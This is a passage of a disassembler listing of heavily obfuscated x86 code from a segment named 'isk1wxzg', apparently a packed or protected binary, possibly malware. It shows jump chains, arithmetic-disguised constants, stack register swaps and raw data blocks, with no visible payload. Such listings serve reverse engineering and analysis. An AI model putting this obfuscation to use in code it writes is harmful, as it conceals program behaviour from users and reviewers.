		dd 0FFFFFA52h, 0E9F93B00h, 0FFFFFB52h, 74E85B00h, 0FFFFFBh
; ---------------------------------------------------------------------------

loc_473CAC:				; CODE XREF: isk1wxzg:00474C00j
		jmp	locret_474312

; =============== S U B	R O U T	I N E =======================================



sub_473CB1	proc near		; DATA XREF: sub_476068:loc_475172o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00473A2C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004741A3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00474783 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00474B4C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00474BC5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00474CDE SIZE 00000024 BYTES
; FUNCTION CHUNK AT 004754E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475520 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475540 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004755FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475866 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00475F6A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475F90 SIZE 00000010 BYTES

		push	ebx
		push	0B6789E5Bh
		pop	ebx
		sub	ebx, 7B72116Eh
		rol	ebx, 16h
		add	ebx, 0B02CDE7Bh
		jmp	loc_4755FE
sub_473CB1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_473CCC:				; CODE XREF: isk1wxzg:loc_473CDBj
		retn
; ---------------------------------------------------------------------------
byte_473CCD	db 3, 0D5h, 0E8h	; DATA XREF: sub_4751B1+Ao
		dd 1454h, 23B1E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_473CDB:				; CODE XREF: isk1wxzg:loc_473C78j
		jmp	locret_473CCC
; ---------------------------------------------------------------------------
		dd 0E8098B00h, 1BA1h
; ---------------------------------------------------------------------------

locret_473CE8:				; CODE XREF: isk1wxzg:00474871j
		retn
; ---------------------------------------------------------------------------

loc_473CE9:				; CODE XREF: isk1wxzg:004736CCj
		jmp	loc_4747AB
; ---------------------------------------------------------------------------
		dw 8700h
		dd 8759240Ch, 0EC67241Ch, 87C18B50h, 96E92404h,	7, 7A830F00h
		dd 0E9FFFFF9h, 1300h, 0FD810000h, 0A48556BBh, 0FFFA25E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_474BAE

loc_473D1E:				; CODE XREF: sub_474BAE:loc_474705j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jnz	loc_473EC8
		jmp	loc_473EC1
; END OF FUNCTION CHUNK	FOR sub_474BAE
; ---------------------------------------------------------------------------
		align 4

locret_473D34:				; CODE XREF: isk1wxzg:00474C6Bj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 215Ah, 5A8702C6h, 1674C081h,	0F0E9C2E2h, 11h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_473D4D	proc near		; CODE XREF: isk1wxzg:00474129j
					; sub_47537E+279p

; FUNCTION CHUNK AT 00474EE4 SIZE 00000016 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		mov	eax, (offset loc_4754EC+5)
		jmp	loc_474EE4
sub_473D4D	endp

; ---------------------------------------------------------------------------
		dd 15EFC100h, 59240C87h, 48716850h, 81585209h, 6ACD9C0h
		dd 0C1F081C9h, 0E926121Ch, 1A26h
; ---------------------------------------------------------------------------

loc_473D7C:				; CODE XREF: isk1wxzg:loc_474A53j
		mov	[ecx], eax
		pop	ecx
		mov	eax, [ebp-4]

loc_473D82:				; DATA XREF: sub_474419-8B5o
		mov	al, [eax]
		sub	al, 99h
		push	0DE72694h
		pop	edx
		sub	edx, 0EBECF046h
		jmp	loc_47607C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_473D98	proc near		; CODE XREF: isk1wxzg:0047504Dj
					; isk1wxzg:loc_47536Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00475291 SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	esi, [esp-4+arg_0]
		jmp	loc_475291
sub_473D98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0E8530000h, 2140h, 4CE90000h, 21h, 1CDE9h, 0E9C30000h
		dd 1320h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_388. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		xchg	esi, [esp]
		xchg	ebx, [esp]
		mov	esi, ebx
		pop	ebx
		push	69A9B4FEh
		xchg	esi, [esp]
		mov	eax, esi
		jmp	loc_475DFE
; ---------------------------------------------------------------------------
		align 4

loc_473DDC:				; CODE XREF: isk1wxzg:00474C56j
		xor	edi, 19AD9A6Dh
		cmp	ecx, edi
		pop	edi
		jmp	loc_475777
; ---------------------------------------------------------------------------
		dw 8100h
		dd 7CF0E9E8h, 0DEC0811Bh, 8704147Fh, 38E92404h,	14h, 59096800h
		dd 2CE90047h, 1Fh
		db 0
; ---------------------------------------------------------------------------

loc_473E0D:				; CODE XREF: sub_473EE5+1E86p
		xchg	eax, [esp]
		pop	eax
		push	ebx
		fsubr	dword ptr [eax-54h]
		aaa
		inc	edi
		add	cl, ch
		pop	edi
		sti
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh
; ---------------------------------------------------------------------------

locret_473E1D:				; CODE XREF: isk1wxzg:004734FFj
		retn
; ---------------------------------------------------------------------------

loc_473E1E:				; CODE XREF: isk1wxzg:0047405Cj
		xor	ecx, 0DC7A97EDh
		add	ecx, 3667D532h

loc_473E2A:				; DATA XREF: isk1wxzg:0047582Do
		pop	ss
		or	al, 24h
		jmp	loc_475C30
; ---------------------------------------------------------------------------
		align 4
		push	offset loc_4750EB
		jmp	locret_474445
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_473C4E

loc_473E40:				; CODE XREF: sub_473C4E:loc_474852j
		jmp	loc_47624E
; END OF FUNCTION CHUNK	FOR sub_473C4E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473C4E

loc_473E47:				; CODE XREF: sub_473C4E+6j
		pop	ecx
		push	offset loc_474F54
		jmp	nullsub_395
; END OF FUNCTION CHUNK	FOR sub_473C4E
; ---------------------------------------------------------------------------
		and	edi, 0E7C1C962h
		jmp	loc_4736C0
; ---------------------------------------------------------------------------
		align 2
		test	ebx, ebp
		jmp	loc_474991
; ---------------------------------------------------------------------------
		mov	edx, [edi]
		push	765CDC1Ch
		jmp	loc_475337
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_473E73:				; CODE XREF: isk1wxzg:loc_473850j
		retn
; ---------------------------------------------------------------------------
		dd 0C1E90000h
		db 13h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_473E7B	proc near		; CODE XREF: isk1wxzg:004747C0p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00474623 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004746DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00474846 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00474A7F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00474F56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475B97 SIZE 00000018 BYTES

		xchg	ecx, [esp+0]
		xchg	edi, [esp+0]
		mov	ecx, edi
		pop	edi
		push	ebx
		jmp	loc_4746DC
sub_473E7B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0C300h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475026

loc_473E8C:				; CODE XREF: sub_475026+2B1j
		jmp	loc_475D71
; END OF FUNCTION CHUNK	FOR sub_475026
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh	; DATA XREF: isk1wxzg:loc_475986w
		dd 0FFFF0D82h, 5EDB68FFh, 35E90047h, 2B000020h,	0AD4E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475026

loc_473EAA:				; CODE XREF: sub_475026+5j
		push	0DCF5588Dh
		pop	eax
		xor	eax, 0D6E1F7Fh
		and	eax, 862FC2BFh
		jmp	loc_4752C8
; END OF FUNCTION CHUNK	FOR sub_475026
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474BAE

loc_473EC1:				; CODE XREF: sub_474BAE-E81j
		jmp	loc_473C48
; END OF FUNCTION CHUNK	FOR sub_474BAE
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_474BAE

loc_473EC8:				; CODE XREF: sub_474BAE-E87j
		push	offset loc_473730
		jmp	nullsub_288
; END OF FUNCTION CHUNK	FOR sub_474BAE
; ---------------------------------------------------------------------------
		align 4

loc_473ED4:				; DATA XREF: isk1wxzg:004734E5o
		push	edx
		mov	edx, 47367Dh
		jmp	loc_4744A3
; ---------------------------------------------------------------------------

loc_473EDF:				; CODE XREF: isk1wxzg:00474412j
		jno	loc_475040

; =============== S U B	R O U T	I N E =======================================



sub_473EE5	proc near		; CODE XREF: isk1wxzg:00473A26p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00475D68 SIZE 00000008 BYTES

		xchg	edi, [esp+0]
		xchg	edx, [esp+0]
		mov	edi, edx
		pop	edx

loc_473EEE:				; CODE XREF: isk1wxzg:00475BE8j
		add	eax, ecx
		xchg	edi, [esp-4+arg_0]
		jmp	loc_475D68
sub_473EE5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475BF0

loc_473EF8:				; CODE XREF: sub_475BF0+8j
		pop	edx
		mov	eax, 4738E3h
		jmp	loc_475B67
; END OF FUNCTION CHUNK	FOR sub_475BF0
; ---------------------------------------------------------------------------
		rol	ebx, 9
		ror	edi, 0Eh

loc_473F09:				; CODE XREF: isk1wxzg:loc_473C8Aj
		add	eax, 6F7F9D68h
		or	eax, eax
		jz	loc_4735A8
		push	ecx
		push	1FE692A1h
		jmp	loc_475C4E
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_473F23:				; CODE XREF: isk1wxzg:00475345j
		call	sub_475633
; ---------------------------------------------------------------------------
		dd 0E5C10000h, 0E9D0851Eh, 1AA1h, 0F9CA860Fh, 0C981FFFFh
		dd 0F6F5FF4Eh, 6CDE8h, 0C35D0000h, 1843E900h, 0C3000000h
; ---------------------------------------------------------------------------

loc_473F50:				; CODE XREF: isk1wxzg:00475F3Cj
		push	ebp
		push	offset loc_475E16
		jmp	locret_473BA0
; ---------------------------------------------------------------------------

loc_473F5B:				; CODE XREF: isk1wxzg:loc_475669j
		mov	ecx, ds:dword_474F68
		push	1241D380h
		pop	edx
		sub	edx, 4876B9F1h
		xor	edx, 3839ED77h
		call	sub_475C68
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_473F79:				; CODE XREF: isk1wxzg:00474823j
		add	eax, 0C61C1BD6h
		jmp	loc_474D02
; ---------------------------------------------------------------------------
		dd 0C6C30000h, 6858C300h, 0D1885B41h, 99E6815Eh, 81C00870h
		dd 0C1722CEEh, 11DEE9BAh, 68000000h, 475FF8h, 11B8E9h
		dd 0A5850F00h, 0E8000013h, 0FFFFF8A8h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4738E9

loc_473FBA:				; CODE XREF: sub_4738E9+Fj
		push	2E5F3F3Eh
		pop	esi
		and	esi, 6D9C9F42h
		add	esi, 0D42B30C4h
		jmp	loc_474EAB
; END OF FUNCTION CHUNK	FOR sub_4738E9
; ---------------------------------------------------------------------------
		align 2
		push	(offset	loc_474C48+1)
		jmp	loc_475DAE
; ---------------------------------------------------------------------------
		dd 0F8F28100h, 0E93994F4h, 3F0h
		db 0
; ---------------------------------------------------------------------------

locret_473FE9:				; CODE XREF: isk1wxzg:00475E10j
		retn
; ---------------------------------------------------------------------------
		dw 0E900h
		dd 57Eh
		db 2 dup(0)
word_473FF2	dw 8B53h		; DATA XREF: isk1wxzg:00475E0Bo
		dd 241C87D8h, 47609468h, 0FCD2E900h, 0FFFFh, 5E243487h
		dd 75E8EC8Bh, 0FFFFFBh
		db 0
; ---------------------------------------------------------------------------

loc_474011:				; DATA XREF: isk1wxzg:004734FAo
		push	offset loc_474729
		jmp	loc_47555D

; =============== S U B	R O U T	I N E =======================================



sub_47401B	proc near		; CODE XREF: sub_475DC9:loc_475AF5p

; FUNCTION CHUNK AT 00474A78 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475486 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00475A9E SIZE 00000010 BYTES

		xchg	ebx, [esp+0]
		xchg	ecx, [esp+0]
		mov	ebx, ecx
		pop	ecx
		jmp	loc_474A78
sub_47401B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr [ebp+10h]
		push	offset loc_474DCE
		jmp	locret_474D08
; ---------------------------------------------------------------------------
		align 4

locret_474038:				; CODE XREF: isk1wxzg:loc_474A5Cj
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_474FD4

loc_47403A:				; CODE XREF: sub_474FD4+174j
		jmp	nullsub_384
; END OF FUNCTION CHUNK	FOR sub_474FD4
; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_287. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 0C3h
		db 0
; ---------------------------------------------------------------------------

loc_474045:				; CODE XREF: isk1wxzg:00474493j
		jmp	loc_474DDE
; ---------------------------------------------------------------------------
		dw 0C300h		; CODE XREF: isk1wxzg:loc_474B07j
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_47404E:				; CODE XREF: isk1wxzg:004747CCj
		xchg	edi, [esp]
		push	15A5FEEFh
		xchg	ebx, [esp]
		mov	ecx, ebx
		pop	ebx
		jmp	loc_473E1E
; ---------------------------------------------------------------------------
byte_474061	db 0C6h, 0, 87h		; DATA XREF: isk1wxzg:loc_4757FCo
		dd 0F7AE858h, 8B000000h, 0FFA9E9D9h, 0FFFFh, 590301C6h
		dd 47554B68h, 0F8BBE900h, 0FFFFh, 5E8706C6h, 83242C87h
		dd 0E85704C0h, 1A3h, 5B241C87h,	0E3C6C081h, 568CA12h, 0E900475Ah
		dd 6D5h, 46D58100h, 8751A989h, 95F243Ch, 0EF840FD2h, 0E900001Dh
		dd 12A7h, 0C870000h, 0B8505924h, 4736AEh, 0A75E9h, 87000000h
		dd 0EC8B2434h, 474BA068h, 613E900h, 8B0000h, 52241487h
		dd 5C685A59h, 0E9004754h, 547h
		db 0
byte_4740F5	db 50h,	8Bh, 0C6h	; DATA XREF: sub_47368D+B37o
		dd 8B240487h, 243487F5h, 371E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_474419

loc_474106:				; CODE XREF: sub_474419-8B0j
		jmp	loc_474F41
; END OF FUNCTION CHUNK	FOR sub_474419
; ---------------------------------------------------------------------------
		push	esi
		push	0C21D1C59h
		pop	esi
		sub	esi, 7592C54Dh
		push	offset loc_474354
		jmp	loc_475D3A
; ---------------------------------------------------------------------------
		dw 8100h
; ---------------------------------------------------------------------------
		fimul	dword ptr [ebp+38h]
		jnb	short $+2
		jmp	sub_473D4D
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 31739D19h, 9902C7C1h, 0FFFCAEE9h, 550000FFh,	0FFF52CE9h
		dd 0F88700FFh, 0C26BFB81h, 1DE94326h, 0C3000003h
		db 0
; ---------------------------------------------------------------------------

loc_474155:				; CODE XREF: sub_47371D:loc_473773p
					; isk1wxzg:00475882j
		xchg	edx, [esp]
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		call	sub_475026

loc_474163:				; CODE XREF: isk1wxzg:00475115j
		pop	ebx
		xchg	ebx, [esp]
		push	esi
		call	sub_47589A
		add	cl, ch
		fadd	qword ptr [eax+eax]
		add	[edi], cl
		sbb	byte ptr [edx+edi*8-2CD40001h],	3
; ---------------------------------------------------------------------------
		db 0D0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4734CE

loc_47417D:				; CODE XREF: sub_4734CE:loc_4741DCj
		push	offset byte_47541B
		jmp	nullsub_390
; END OF FUNCTION CHUNK	FOR sub_4734CE
; ---------------------------------------------------------------------------
		align 4
		dd 0C300h, 19DCE9h, 2DE90000h, 0Ah, 8B243487h, 18E95ECEh
					; CODE XREF: sub_4749D8+BD3j
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473CB1

loc_4741A3:				; CODE XREF: sub_473CB1:loc_4755FEj
		and	ebx, 5B33BFC6h
		call	sub_47368D
		add	byte ptr ds:loc_475CAE[edx], bh	; CODE XREF: isk1wxzg:00474649j
		jmp	loc_4754E0
; END OF FUNCTION CHUNK	FOR sub_473CB1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47368D

loc_4741BB:				; CODE XREF: sub_47368D:loc_47443Dj
		mov	byte ptr [ebx],	3
		xchg	edx, [esp-4+arg_0]
		mov	ebx, edx
		pop	edx
		push	offset byte_4740F5
		jmp	nullsub_286
; END OF FUNCTION CHUNK	FOR sub_47368D

; =============== S U B	R O U T	I N E =======================================



sub_4741CE	proc near		; DATA XREF: sub_4744DB:loc_4746ADo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00474396 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0047474A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0047496D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004759EA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00475A5A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00475AE4 SIZE 00000005 BYTES

		push	edi
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		push	ebp
		jmp	loc_47496D
sub_4741CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_4741DA:				; CODE XREF: isk1wxzg:00475460j
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_4734CE

loc_4741DC:				; CODE XREF: sub_4734CE+1101j
		jz	loc_47417D
; END OF FUNCTION CHUNK	FOR sub_4734CE
; ---------------------------------------------------------------------------
		dw 0
		dd 1B088C0Fh, 84E90000h, 0FFFFFFh, 29E9C83Bh, 0Eh
		db 0
byte_4741F9	db 0E8h, 0AAh, 0F9h	; DATA XREF: isk1wxzg:loc_4752A9o
		dd 0E900FFFFh, 14Dh	; CODE XREF: isk1wxzg:004753DDj
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_474206:				; CODE XREF: isk1wxzg:loc_47555Dj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_474447
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_47420E	proc near		; CODE XREF: sub_475CB7:loc_475232p
					; isk1wxzg:00475A6Cj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00473BD1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00474DD9 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pushf
		push	0C30BDEDBh
		jmp	loc_474DD9
sub_47420E	endp

; ---------------------------------------------------------------------------

locret_47421D:				; CODE XREF: isk1wxzg:004750DBj
		retn
; ---------------------------------------------------------------------------
		db 0
byte_47421F	db 0C6h			; DATA XREF: sub_474DF6:loc_474B2Do
		dd 815E0306h, 0C81F9AC0h
		db 31h
		db 3, 0C5h, 81h		; DATA XREF: sub_474DF6+121Eo
		dd 0BC38DEC0h, 0A0BE8E3h, 87000000h, 685B241Ch,	0EA7047C4h
		dd 8B240487h, 0CF8158F8h, 1150DDDBh, 0FFF606E9h, 0C3FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47580E

loc_474254:				; CODE XREF: sub_47580E+Fj
		jmp	loc_475443
; END OF FUNCTION CHUNK	FOR sub_47580E
; ---------------------------------------------------------------------------
		push	9825525h
		pop	ecx
		rol	ecx, 0Dh
		or	ecx, 6F5D85C7h
		xor	ecx, 0ED6C5002h
		jmp	loc_474744
; ---------------------------------------------------------------------------
		align 4
		dd 242C8700h, 1982E8h
		db 3 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_390. PRESS KEYPAD	"+" TO EXPAND]
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_383. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_474282:				; CODE XREF: isk1wxzg:00474B27j
		jmp	locret_475483
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_474997

loc_474288:				; CODE XREF: sub_474997+10j
		jmp	loc_4750F7
; END OF FUNCTION CHUNK	FOR sub_474997
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h	; CODE XREF: isk1wxzg:004754B4p
; ---------------------------------------------------------------------------
		adc	al, 24h
		xchg	edi, [esp]
		mov	edx, edi
		pop	edi
		add	esi, 50736D53h
		jmp	loc_47536C
; ---------------------------------------------------------------------------
		align 4
		dd 0E9CB3B00h, 0FFFFF73Ah, 0A7E80000h, 8, 0E9EF3300h, 1796h
		dd 243C8751h, 8B241487h, 0A5685AFAh, 58A3530Fh,	0E911C0C1h
		dd 0FFFFFA63h
		db 0
; ---------------------------------------------------------------------------

loc_4742D5:				; CODE XREF: isk1wxzg:004737BDj
		call	sub_475199
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		push	0F7BA6A95h
		xchg	esi, [esp]
		mov	ecx, esi
		pop	esi
		xor	ecx, 4AD157F3h
		add	ecx, 0D000873Fh
		jmp	loc_475FD2
; ---------------------------------------------------------------------------
		dd 71B37D68h, 1E99D2Ah,	0FFFFFDh, 7668992Ch, 0E900473Ah
		dd 461h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_474312:				; CODE XREF: isk1wxzg:loc_473CACj
		retn
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_474315:				; CODE XREF: isk1wxzg:004737D2j
		jmp	loc_474484
; ---------------------------------------------------------------------------
		pop	ecx
		rol	ecx, 12h
		sub	ecx, 893CCCABh
		and	ecx, 0A9303C6Fh
		xor	ecx, 61F687CAh
		add	ecx, 9650C95Bh
		jmp	loc_474634
; ---------------------------------------------------------------------------
		align 4
		push	offset loc_475670
		jmp	locret_475668
; ---------------------------------------------------------------------------
		dw 0C600h		; CODE XREF: isk1wxzg:loc_4753A7j
		dd 0E85A0902h, 1702h, 0C300h
; ---------------------------------------------------------------------------

loc_474354:				; DATA XREF: isk1wxzg:00474118o
		xor	esi, 0EECE55AFh
		push	offset loc_474641
		jmp	loc_476007
; ---------------------------------------------------------------------------
		db 0
byte_474365	db 57h,	68h, 0C2h	; DATA XREF: isk1wxzg:loc_474BFBo
		db 37h,	47h
; ---------------------------------------------------------------------------

loc_47436A:				; CODE XREF: isk1wxzg:0047436Cj
		add	cl, ch
		jnp	short loc_47436A
; ---------------------------------------------------------------------------
		dw 0FFFFh

; =============== S U B	R O U T	I N E =======================================



sub_474370	proc near		; CODE XREF: isk1wxzg:00474A97p
					; isk1wxzg:00475ACEj
		xchg	ebx, [esp+0]
		pop	ebx
		push	offset sub_473C4E
		jmp	nullsub_398
sub_474370	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_47437F:				; CODE XREF: isk1wxzg:loc_474BA9j
		or	edi, 8E557A50h
		sub	edi, 1610DEB0h
		add	edi, 4662B43Ch
		jmp	loc_4743A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4741CE

loc_474396:				; CODE XREF: sub_4741CE+1892j
		jz	loc_475AE4
		jmp	near ptr dword_473944+1Ch
; END OF FUNCTION CHUNK	FOR sub_4741CE
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E8h
		dd 0BF0h
		db 0
; ---------------------------------------------------------------------------

loc_4743A9:				; CODE XREF: isk1wxzg:00474391j
		jmp	loc_474FF5
; ---------------------------------------------------------------------------
		dw 8B00h
; ---------------------------------------------------------------------------
		cmc
		jmp	loc_475128
; ---------------------------------------------------------------------------
		dw 0C100h
		dd 31E902C8h, 13h
; ---------------------------------------------------------------------------

loc_4743C0:				; CODE XREF: isk1wxzg:loc_475FD7j
		push	3813F507h
		pop	ebx
		sub	ebx, 1725E7BDh
		and	ebx, 0B5FAA3D3h
		jmp	loc_475D12
; ---------------------------------------------------------------------------
		align 4
		db  87h	; ‡
		db  3Ch	; <
		db  24h	; $
		db  87h	; ‡
		db  2Ch	; ,
		db  24h	; $
		db  8Bh	; ‹
		db 0FDh	; ý
		db  5Dh	; ]
		db  68h	; h
		db 0A5h	; ¥
		db  5Bh	; [
		db  91h	; ‘
		db 0FFh
		db  5Eh	; ^
		db  81h	; 
		db 0C6h	; Æ
		db    8
		db  4Eh	; N
		db  9Eh	; ž
		db 0C7h	; Ç
		db  81h	; 
		db 0F6h	; ö
		db  4Ah	; J
		db 0BDh	; ½
		db 0D1h	; Ñ
		db  4Eh	; N
		db 0E9h	; é
		db  7Ah	; z
		db    7
		db    0
		db    0
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		cmp	al, 24h
		push	ebp
		mov	ebp, ebx
		xchg	ebp, [esp]
		push	offset loc_474606
		jmp	loc_474A5C
; ---------------------------------------------------------------------------
		align 4
		test	edx, 72228BF1h
		jmp	loc_473EDF
; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_474419	proc near		; CODE XREF: sub_474957+6C2p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00473B4D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00474106 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00474F41 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00474F6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004754C5 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	350AAFECh
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		jmp	loc_4754C5
sub_474419	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		xchg	edi, [ebx]
		push	offset byte_4751EB
		jmp	locret_4751E8
; ---------------------------------------------------------------------------
		dw 0C300h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_47368D

loc_47443D:				; CODE XREF: sub_47368D+Aj
		jmp	loc_4741BB
; END OF FUNCTION CHUNK	FOR sub_47368D
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_474443:				; CODE XREF: isk1wxzg:loc_476007j
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_474445:				; CODE XREF: isk1wxzg:00473E39j
		retn
; ---------------------------------------------------------------------------

locret_474446:				; CODE XREF: isk1wxzg:00475CD6j
		retn
; ---------------------------------------------------------------------------

loc_474447:				; CODE XREF: isk1wxzg:00474207j
		push	34F7131Fh
		pop	eax
		xor	eax, 0FD824619h
		rol	eax, 18h
		push	edi
		push	1C841B7Dh
		pop	edi
		sub	edi, 569FA90Ah
		jmp	loc_474BA9
; ---------------------------------------------------------------------------
		dd 0E99C0000h, 1398h, 963850Fh,	3C870000h, 0EC8B5F24h
		dd 92E95153h, 0Ch
; ---------------------------------------------------------------------------

loc_474484:				; CODE XREF: isk1wxzg:loc_474315j
		xor	edi, 670DDF5h
		rol	edi, 16h
		test	edi, 400000h
		jmp	loc_474045
; ---------------------------------------------------------------------------
		dd 4D186800h, 9EE90047h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4744A3:				; CODE XREF: isk1wxzg:00473EDAj
		mov	byte ptr [edx],	0FFh
		pop	edx
		or	edx, 121F25EBh
		xor	edx, 0CEC15188h
		jmp	loc_474D0B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_4744BA:				; CODE XREF: isk1wxzg:00474AE7j
		retn
; ---------------------------------------------------------------------------
		align 4
		db 0
byte_4744BD	db 9Ch,	0E8h, 15h	; DATA XREF: sub_475B43:loc_473B34o
		dd 0FFFFFFh, 21BF5700h,	0E900475Ch, 0FFFFF6D1h,	4749C468h
					; CODE XREF: sub_4757B6+4j
		dd 1386E900h
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4744DB	proc near		; CODE XREF: sub_475DC9:loc_47476Bp

; FUNCTION CHUNK AT 00473A8C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0047469F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00474A1A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00474BE6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00474D2B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004754BA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004754DA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475B3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475B59 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00475E41 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00475EAA SIZE 00000011 BYTES

